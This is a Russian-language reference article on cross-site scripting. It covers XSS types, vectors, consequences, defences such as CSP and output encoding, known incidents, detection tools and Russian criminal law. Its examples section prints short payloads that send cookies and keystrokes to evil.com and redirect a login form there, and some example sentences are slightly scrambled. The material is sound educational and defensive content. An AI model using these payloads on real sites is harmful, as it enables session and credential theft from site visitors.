XSS-атаки
XSS-атака (Cross-Site Scripting, «межсайтовый скриптинг») — это тип атаки на веб-приложения, заключающийся во внедрении в выдаваемую веб-системой страницу вредоносного кода (обычно на языке JavaScript), который выполняется в браузере пользователя. XSS-атаки относятся к классу инъекций и позволяют злоумышленнику обходить политику Same-Origin Policy, получая доступ к данным и функционалу веб-сайта от имени жертвы.
История
Термин «Cross-Site Scripting» впервые был введён в 2000 году компанией Microsoft для описания уязвимости, обнаруженной в Internet Explorer. Первоначально атаки были направлены на кражу cookie-файлов и перенаправление пользователей на фишинговые сайты. С развитием веб-технологий (Web 2.0, AJAX, Single Page Applications) XSS-атаки стали более сложными и опасными, так как злоумышленники начали использовать их для кражи токенов аутентификации, подмены содержимого страниц и выполнения действий от имени пользователя.
По данным OWASP (Open Web Application Security Project), XSS-уязвимости на протяжении многих лет входили в десятку самых критических рисков безопасности веб-приложений. В 2010-х годах были разработаны автоматические средства обнаружения XSS (например, скринеры уязвимостей), а также методы защиты, такие как Content Security Policy (CSP) и автоматическое экранирование вывода.
Классификация
XSS-атаки делятся на три основных типа в зависимости от способа хранения и доставки вредоносного кода.
Отражённая XSS (Reflected XSS)
Вредоносный код не хранится на сервере, а передаётся в запросе (например, в URL-параметре) и немедленно отражается в ответе сервера. Для успешной атаки злоумышленник должен заставить жертву перейти по специально сформированной ссылке (например, через фишинговое письмо или сообщение). Пример: http://example.com/search?q=<script>alert('XSS')</script>q`, скрипт выполнится в браузере.. Если сервер не экранирует параметр
Хранимая XSS (Stored XSS)
Вредоносный код постоянно сохраняется на сервере (например, в базе данных, комментариях, профилях пользователей) и затем отображается всем посетителям страницы. Это наиболее опасный тип, так как атака происходит без активных действий жертвы (достаточно просто загрузить страницу). Пример: злоумышленник оставляет комментарий на форуме с кодом <script>document.location='http://evil.com/?cookie='+document.cookie</script>`. При просмотре страницы всеми пользователями их cookie-файлы отправляются на сервер злоумышленника.
DOM-based XSS
Уязвимость возникает на стороне клиента, когда JavaScript-код страницы динамически обрабатывает данные из URL (например, window.location.hash, document.referrer) и вставляет их в DOM без должной санитизации. Сервер при этом может быть не затронут. Пример: страница с кодом document.write("<img src='" + document.location.hash + "'>"). Если в хеше URL передать " onerror="alert(1), браузер выполнит скрипт.
Механизм атаки
Векторы внедрения
Основные точки входа для XSS-инъекций:
- Поля ввода (формы, комментарии, поисковые запросы).
- URL-параметры (GET и POST).
- HTTP-заголовки (например,
User-Agent,Referer). - JSON-данные, получаемые от API.
- Имена файлов при загрузке.
Примеры вредоносного кода
- Кража cookie:
<script>new Image().src='http://evil.com/steal?cookie='+document.cookie</script>` - Подмена содержимого:
<script>document.body.innerHTML='<h1>Взломано</h1>'</script> - Кейлоггинг:
<script>document.onkeypress=function(e){new Image().src='http://evil.com/key?k='+e.key}</script>` - Фишинг:
<script>document.getElementById('login-form').action='http://evil.com/login'</script>`
Цели злоумышленника
- Кража сессионных cookie-файлов и токенов аутентификации.
- Перенаправление на вредоносные сайты.
- Выполнение действий от имени пользователя (например, перевод денег, изменение пароля).
- Дефейс (изменение внешнего вида) сайта.
- Распространение червей (XSS-черви, например, в социальных сетях).
Последствия
XSS-атаки могут привести к:
- Утечке конфиденциальных данных пользователей (логины, пароли, банковские реквизиты).
- Компрометации учётных записей администраторов.
- Полному захвату управления над веб-приложением (в случае XSS-атаки на администратора с правами на редактирование кода).
- Потере репутации компании и финансовым убыткам.
- Юридическим последствиям (нарушение законов о защите персональных данных, например, 152-ФЗ в РФ).
Методы защиты
На стороне сервера
- Экранирование вывода (Output Encoding): все данные, вставляемые в HTML-контекст, должны быть экранированы в зависимости от контекста (HTML-теги, атрибуты, JavaScript, CSS, URL). Используются библиотеки вроде OWASP Java Encoder, Microsoft AntiXSS.
- Валидация ввода (Input Validation): проверка данных на соответствие ожидаемому формату (например, email, число). Белый список разрешённых символов предпочтительнее чёрного.
- Content Security Policy (CSP): HTTP-заголовок, ограничивающий источники выполнения скриптов. Например,
Content-Security-Policy: default-src 'self'блокирует все инлайн-скрипты. - HttpOnly-флаг для cookie: запрещает доступ к cookie из JavaScript, снижая риск кражи сессий.
- X-XSS-Protection: устаревший заголовок (ранее поддерживался Internet Explorer и Edge), но не является надёжной защитой.
На стороне клиента
- Современные браузеры: встроенные механизмы (например, XSS Auditor в Chrome, но он был удалён в версии 78) и поддержка CSP.
- Использование фреймворков: React, Angular, Vue.js автоматически экранируют вывод в шаблонах, если разработчик не использует опасные методы (например,
dangerouslySetInnerHTMLв React). - Регулярные обновления: устранение уязвимостей в библиотеках и плагинах.
Процессные меры
- SAST и DAST: статический и динамический анализ кода для поиска XSS-уязвимостей.
- Пентесты: тестирование на проникновение с использованием инструментов (Burp Suite, OWASP ZAP, XSStrike).
- Обучение разработчиков: понимание принципов безопасного кодирования (OWASP Top 10, Secure Coding Guidelines).
Примеры известных инцидентов
- MySpace (2005): XSS-червь Samy, распространявшийся через профили пользователей, за 20 часов добавил создателю более 1 миллиона друзей.
- Twitter (2010): уязвимость в поле «имя пользователя» позволяла выполнять скрипты при наведении курсора на ссылку (так называемый «Mouseover XSS»).
- British Airways (2018): XSS-атака на сайте авиакомпании привела к краже данных 380 000 банковских карт.
- WordPress (2020): уязвимость в плагине «Elementor» позволяла злоумышленникам внедрять скрипты на страницы сайтов.
Инструменты для обнаружения
- Burp Suite (Professional) — перехват и модификация HTTP-запросов, автоматический поиск XSS.
- OWASP ZAP — бесплатный сканер уязвимостей с поддержкой XSS.
- XSStrike — специализированный инструмент для поиска и эксплуатации XSS.
- Acunetix — коммерческий веб-сканер.
- Netsparker — автоматический сканер с низким уровнем ложных срабатываний.
Правовые аспекты в РФ
В Российской Федерации проведение XSS-атак без согласия владельца ресурса квалифицируется как неправомерный доступ к компьютерной информации (ст. 272 УК РФ) или создание, использование и распространение вредоносных программ (ст. 273 УК РФ). Наказание предусматривает штрафы до 500 000 рублей, исправительные работы или лишение свободы до 7 лет в зависимости от тяжести последствий. Тестирование на проникновение (пентест) должно проводиться только на основании письменного договора с владельцем системы.
Источники
- OWASP Foundation. «Cross-Site Scripting (XSS)». OWASP Top 10 – 2021.
- Stuttard, D., & Pinto, M. «The Web Application Hacker's Handbook». 2nd Edition, Wiley, 2011.
- Microsoft. «Cross-Site Scripting (XSS)». Security Development Lifecycle (SDL).
- Уголовный кодекс Российской Федерации, статьи 272, 273.
- Cimpanu, C. «British Airways fined £20 million for 2018 data breach». ZDNet, 2020.
- Grossman, J. «Cross-Site Scripting: The Samy Worm». Technical report, WhiteHat Security, 2005.
BFOmetr — база данных и аналитика по компаниям России.
На главную BFOmetr →